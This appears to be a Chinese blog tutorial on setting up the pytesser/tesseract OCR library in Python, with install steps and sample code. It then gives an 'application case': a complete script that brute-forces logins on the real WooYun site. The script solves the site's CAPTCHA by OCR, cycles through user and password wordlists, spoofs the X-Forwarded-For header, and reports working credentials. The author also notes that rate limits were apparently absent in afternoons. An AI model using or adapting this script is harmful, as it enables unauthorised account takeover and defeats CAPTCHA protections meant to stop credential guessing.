pytesser是谷歌OCR开源项目的一个模块,在python中导入这个模块即可将图片中的文字转换成文本。
链接:https://code.google.com/p/pytesser/
pytesser 调用了 tesseract。在python中调用pytesser模块,pytesser又用tesseract识别图片中的文字。
下面是windows下整个过程的实现步骤:
安装PIL、pytesser、tesseract
(1)安装PIL:下载地址:http://www.pythonware.com/products/pil/
(2)pytesser:下载地址:http://code.google.com/p/pytesser/,下载解压后所有文件直接放在代码相同的文件夹下,即可使用。
(3)Tesseract OCR engine下载:http://code.google.com/p/tesseract-ocr/,下载后解压,找到tessdata文件夹,用其替换掉pytesser解压后的tessdata文件夹即可。
ps:如果嫌麻烦不想将pytesser程序放在每个项目代码的目录下,可以将pytesser下载后的文件(所有文件,包括tesseract.exe,testdata目录)解压后放在python安装目录的site-packages下,并且在程序中使用os.chdir(‘C:\\Python27\\Lib\\site-packages’)来指定python程序运行的目录,否则会出现WindowsError: [Error 2] The system cannot find the file specified 。当然,将pytesser的所有文件放在和项目代码同目录下是最简便的方法,且不容易报错。可以参考:http://blog.sina.com.cn/s/blog_a73687bc0101dpcg.html。
ubuntu下使用:
- apt-get install tesseract-ocr
- http://code.google.com/p/pytesser/downloads/list下载pytesser(可以pip install pytesseract安装)
- Python Imaging Library (PIL)
测试代码:
import os os.chdir('C:\\Python27\\Lib\\site-packages') from pytesser import * image=Image.open(r'C:/1.jpg') print image print image_to_string(image) print image_file_to_string('C:/1.jpg')
详细的使用以及识别率低的改进可参考一下文章:
1、wxPython利用pytesser模块实现图片文字识别
应用案例:
乌云账号暴力猜解工具(http://zone.wooyun.org/content/15378)
需要预安装如下程序
1、pytesseract (可以pip install pytesseract安装)
2、Python Imaging Library (PIL)
3、tesseract-ocr
原理:
1、利用tesseract 进行验证码的识别。
2、post暴力猜解
问题1.验证码的识别率
进行了一次处理,从正则里可以看到pattern = ‘^[a-zA-Z0-9]{4}$’ 只取识别为4位的字符,如果不是则重新请求验证码,这个在很大程度上提高了识别率。
问题2.服务端频率验证
经过我两天的实验观察,早上会有次数限制,连续两天的下午我尝试了大于1161次的登陆都没有限制,不知道是什么原因,也许是我网络问题
#coding: utf-8 #date: 2014/09/23 #author: titans import cookielib import urllib2 import urllib import socket import sys import time import re import Image import pytesseract def guess_login(url, users, passwords): cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) opener.addheaders = [ ('User-Agent','Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Firefox/24.0'), ('Accept','text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'), ('Accept-Encoding','gzip, deflate'), ('Connection', 'keep-alive'), ('X-Forwarded-For','127.0.0.1'), ] urllib2.install_opener(opener) captcha = '' catp_url = 'http://www.wooyun.org/captcha.php' pattern = '^[a-zA-Z0-9]{4}$' regex = re.compile(pattern) for user in users: user = user.strip() find = False for password in passwords: while_mark = 1 password = password.strip() while(while_mark): opener.open(url) pic = opener.open(catp_url) content = pic.read() f = open('c:\\temp\capta.jpg','wb') f.write(content) f.close() time.sleep(1) captcha = pytesseract.image_to_string(Image.open('c:\\temp\capta.jpg')) re_result = regex.match(captcha) if re_result: print user, password, captcha post_data = 'email=%s&password=%s&captcha=%s'%(user,password,captcha) post_url = 'http://www.wooyun.org/user.php?action=login&do=login' resp = opener.open(post_url,post_data) while_mark = 0 cookies = resp.info().getheaders('Set-Cookie') if len(cookies): find = True raw_input('Get it!!%s %s'%(user,password)) else: print '[*]Repeat request' pass if find == True: break def run(): if len(sys.argv) !=3: usage() url = 'http://www.wooyun.org/user.php?action=login' users = open(sys.argv[1],'r').readlines() passwords = open(sys.argv[2],'r').readlines() guess_login(url, users, passwords) def usage(): print 'wooyun.py users.txt passwords.txt' exit(0) if __name__ == '__main__': run()
windows下可以使用,如果linux下测试,修改存放验证码的路径c:\\temp\capta.jpg 为linux下的路径即可
usage: wooyun.py users.txt passwords.txt
其他参考资料:
1、http://www.imop.us/v/MTg1NQ==.html